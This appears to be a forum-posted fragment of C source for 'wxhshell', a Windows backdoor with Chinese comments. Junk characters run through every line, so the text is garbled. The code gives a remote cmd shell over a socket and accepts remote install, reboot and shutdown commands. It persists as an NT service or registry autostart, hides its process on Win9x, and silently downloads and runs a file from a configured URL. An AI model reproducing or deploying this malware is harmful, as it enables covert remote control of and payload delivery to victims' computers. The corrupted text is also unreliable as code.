  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y/fJQ6DY  
  } z)-c#F@%  
  else { <41ZZ0<EwY  
NmpnJu|8  
    switch(cmd[0]) { =lp1Z>  
  eg<pa'Hw  
  // 帮助 Zb_apjg[4  
  case '?': { =:=/Gz1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =-#G8L%Q  
    break; MsOs{2 )2  
  } w5,Mb  
  // 安装 [sy j#  
  case 'i': { 3^,QIG  
    if(Install()) G$bJ+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RLVAT M5  
    else 3<:jx~y>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !L$x:/R9M  
    break; ?X9U TOx  
    } 4w93}t.z  
  // 卸载 S,{tV=&m]  
  case 'r': { ]Oeh=gq  
    if(Uninstall()) h4)Bs\==mT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [XR$F@o  
    else xZ.!d.rn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); np9dM  
    break; MYdO jcN  
    } `<frgXu64  
  // 显示 wxhshell 所在路径 h8{(KRa6  
  case 'p': { B&0; 4  
    char svExeFile[MAX_PATH]; =&nW~<- v  
    strcpy(svExeFile,"\n\r"); ,Nm$i"Lg  
      strcat(svExeFile,ExeFile); /=:j9FF  
        send(wsh,svExeFile,strlen(svExeFile),0); ,$lemH1d  
    break; i=S~(gp  
    } vB0RKk}d5  
  // 重启 .; Q:p*  
  case 'b': { `3c CH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uLR<FpM  
    if(Boot(REBOOT)) vB'>[jvA|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l'[A? %L%{  
    else { pG3k   
    closesocket(wsh); Cu;5RSr2Z  
    ExitThread(0); v,@F|c?_S  
    } ";SiL{Z  
    break; ]?+{aS-]?k  
    } jgv`>o%<W  
  // 关机 >ut" OL9J  
  case 'd': { i^msjA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ac{?+]8}  
    if(Boot(SHUTDOWN)) ?)D^~/ A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b KtD"JG\  
    else { 6gL-OJNo  
    closesocket(wsh); T{v>-xBRy  
    ExitThread(0); w_tJ7pz8T  
    } &@FhR#pUQ  
    break; pCi#9=?N  
    } dT"hNHaf  
  // 获取shell h^UKT`9vt  
  case 's': { #W>QY Tp  
    CmdShell(wsh); <AH1i@4  
    closesocket(wsh); +Vb8f["+-  
    ExitThread(0); L{-LX= G^  
    break; u\yVR$pQ  
  } fWnD\mx?0  
  // 退出 ]6r;}1c  
  case 'x': { zi9[)YqxPH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g4p  
    CloseIt(wsh); ] }|byo  
    break; 6w8" >~)Z  
    } Yr.sm!xA  
  // 离开 ^TY ;Zp  
  case 'q': { rwLAW"0Qz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B;>{0 s  
    closesocket(wsh); K<`osdp=&  
    WSACleanup(); : 18KR*;p  
    exit(1); !9Z r;K~\  
    break; DyJ.BQdk)  
        } AlE8Xu9UB  
  } @gC=$A#  
  } -VKS~{  
#DU26nCL  
  // 提示信息 @mP]*$00  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RGKYW>$0RR  
} )Z 9E=%  
  } 8Me:Yp_Xt  
PXzsj.  
  return; *a;@*  
} % 2$/JZ  
>{gPN"S"a  
// shell模块句柄 H,fZ!8(A_)  
int CmdShell(SOCKET sock) )L{ghy  
{ ^D eERB  
STARTUPINFO si; R0ID2:i]F  
ZeroMemory(&si,sizeof(si)); eV:9y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C?v[Z]t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZYU=\  
PROCESS_INFORMATION ProcessInfo; `*", <  
char cmdline[]="cmd"; 6tHO!`}1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M5nWVK7c  
  return 0; B~]5$-  
} Qd}m`YW-f$  
)a 9 ]US^  
// 自身启动模式 DI+]D~N  
int StartFromService(void) d@`M CchCB  
{ JWvjWY2+P  
typedef struct wN1niR'  
{ |8> 3`w!  
  DWORD ExitStatus; [[PEa-992  
  DWORD PebBaseAddress; j`^$#  
  DWORD AffinityMask; IG)s^bP  
  DWORD BasePriority; ;c~cet4  
  ULONG UniqueProcessId; zJP6F.Ov!  
  ULONG InheritedFromUniqueProcessId; @k[R/,#'[t  
}   PROCESS_BASIC_INFORMATION; F <>!kK/c  
B~o\+n  
PROCNTQSIP NtQueryInformationProcess; 3bk|<7tl  
) [0T16  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f` =CpO*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _XJ2fA )  
(" LQll9  
  HANDLE             hProcess; + a- 6Q ~  
  PROCESS_BASIC_INFORMATION pbi; VE+IKj!VG0  
'!l 1=cZD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4wC+S9I#E^  
  if(NULL == hInst ) return 0; d ;vT ~;  
6"Bic rY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $o$ maA0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rSXh;\MfB4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'RRmIx2X  
-~?J+o+Pr"  
  if (!NtQueryInformationProcess) return 0; ST\$=  
0#w?HCx=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "Rn 3lj0  
  if(!hProcess) return 0; .>Ljnk  
DXz} YIEC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H*#s }9=kZ  
fRg`UI4w}  
  CloseHandle(hProcess); I%- " |]$  
n6s}ww)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n 1!?"m!  
if(hProcess==NULL) return 0; (Qa/EkE^*w  
Cmc3k,t  
HMODULE hMod; ,%\o4Rc'o  
char procName[255]; \ [a%('}  
unsigned long cbNeeded; sR/b$j>i3  
': N51kC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FQ g~l4WX  
O_Oj|'bBC  
  CloseHandle(hProcess); ZPbpp@,  
nstUMr6  
if(strstr(procName,"services")) return 1; // 以服务启动 yAoe51h?  
B6wRg8  
  return 0; // 注册表启动 PO 6&bIr  
} m0v:\?S:  
y|'SXM  
// 主模块 }CeCc0M  
int StartWxhshell(LPSTR lpCmdLine) LX^u_Iu   
{ u_ABt?'  
  SOCKET wsl; MEwo}=B  
BOOL val=TRUE; v4C{<8:X  
  int port=0; 5 ~TdD6}  
  struct sockaddr_in door; [Q=dC X9%  
ABUSTf<  
  if(wscfg.ws_autoins) Install(); bV ZMW/w  
zN  [2YJ$  
port=atoi(lpCmdLine); eImn+_ N3  
,"B+r6}EF  
if(port<=0) port=wscfg.ws_port; Iu$K i  
lP<:tR~K  
  WSADATA data; +nJUFc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lo[.&GD  
foQ#a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6`f2-f9%iq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Fd0 %lnui  
  door.sin_family = AF_INET; HD(.BW7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "HPB!)C8(  
  door.sin_port = htons(port); s`0QA!G{-  
rF]h$Z8o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { } \ZaE~  
closesocket(wsl); qi_Jywd:w  
return 1; D9z|VIw8  
} r#XT3qp$d  
?M[ A7?  
  if(listen(wsl,2) == INVALID_SOCKET) { ;VWAf;U;B  
closesocket(wsl); $sEy%-  
return 1; 'Fmvu   
} o<N  nV  
  Wxhshell(wsl); EVoE szR  
  WSACleanup(); TYy.jFT-  
V{JAB]?^  
return 0; 6L)%T02C  
s0PrbL%_`  
} ^Vpq$'!  
i9/aAH0  
// 以NT服务方式启动 b#X^=n2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >Q(3*d >  
{ 3+XOZh8  
DWORD   status = 0; 3`k;a1Z#O'  
  DWORD   specificError = 0xfffffff; {~F4WjHJp  
B[KJR?>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aoXb22]{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B'fb^n<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l,kUhZ@W  
  serviceStatus.dwWin32ExitCode     = 0; #FNcF>3>  
  serviceStatus.dwServiceSpecificExitCode = 0; lyGhdgWc  
  serviceStatus.dwCheckPoint       = 0; JYTP 2  
  serviceStatus.dwWaitHint       = 0; Y./2Ely  
wu)w   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m}X`> aD/  
  if (hServiceStatusHandle==0) return; 1R,:  
l(02W  
status = GetLastError(); hRCed4qA  
  if (status!=NO_ERROR) /Z$&pqs!  
{ >/8yGBD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dxmE3*b`  
    serviceStatus.dwCheckPoint       = 0; <WcR,d  
    serviceStatus.dwWaitHint       = 0; U-|NY  
    serviceStatus.dwWin32ExitCode     = status; oZAB_A)[-  
    serviceStatus.dwServiceSpecificExitCode = specificError; <TP=oq?I/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l6d$V 9A  
    return; R=|{n'n$0|  
  } ;1a~pF S  
!1ED~3 /X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z /9>  
  serviceStatus.dwCheckPoint       = 0; CO`_^7o9(  
  serviceStatus.dwWaitHint       = 0; t]YC"%[S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0|a(]a}V*j  
} '#&os`mQ  
T3^GCX|!@  
// 处理NT服务事件,比如:启动、停止 ^_f+15]D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) + ~>Aj  
{ `b^Ru+(dM  
switch(fdwControl) CY"/uSB  
{ & 9<+;*/  
case SERVICE_CONTROL_STOP: w'm;82V:P-  
  serviceStatus.dwWin32ExitCode = 0; /C6k+0ApMT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N|6M P e  
  serviceStatus.dwCheckPoint   = 0; 8@tPm$  
  serviceStatus.dwWaitHint     = 0; ](s'L8 (x  
  { 6*3.SGUY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RS^lKJ1 U  
  } 2n|K5FR()  
  return; !Ze5)g%H  
case SERVICE_CONTROL_PAUSE: *cgI.+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9_ d pR.  
  break; m8o(J\]  
case SERVICE_CONTROL_CONTINUE: 7eiV{tYF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3h *!V6%q  
  break; @WVcY:1t#  
case SERVICE_CONTROL_INTERROGATE: /@,j232  
  break; ]4pkcV P  
}; @CT;g\4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FGoy8+nB1M  
} _iir<}  
zlEX+=3  
// 标准应用程序主函数 j!7{|EQFcl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  t$De/Uq  
{ ayfFVTy1d  
&8vCZN^  
// 获取操作系统版本 < Pky9o;  
OsIsNt=GetOsVer(); W;,C_   
GetModuleFileName(NULL,ExeFile,MAX_PATH); s[w6FXt  
~W{2Jd  
  // 从命令行安装 hBBUw0"  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6,0_)O}\b  
5Er2}KZJv,  
  // 下载执行文件 *^:N.&]  
if(wscfg.ws_downexe) { \Z+z?K O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #3+!ee27#  
  WinExec(wscfg.ws_filenam,SW_HIDE); TL}++e 7+  
} iLkZ"X.'|1  
%|^fi8!:|  
if(!OsIsNt) { Qx+%"YO  
// 如果时win9x,隐藏进程并且设置为注册表启动 [x,>?~6ek  
HideProc(); :R~MO&  
StartWxhshell(lpCmdLine); k@z,Iq8  
} !lj| cT9  
else <1t*I!e_  
  if(StartFromService()) 0Nnsjh  
  // 以服务方式启动 1q,{0s_kp  
  StartServiceCtrlDispatcher(DispatchTable); 23DiW#o'  
else OUhqM VX9C  
  // 普通方式启动 Kq;8=xP[  
  StartWxhshell(lpCmdLine); _Nqt21sL  
/K. !sQ$  
return 0; "-+\R}q$  
}
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只看该作者 1 发表于: 2006-10-10
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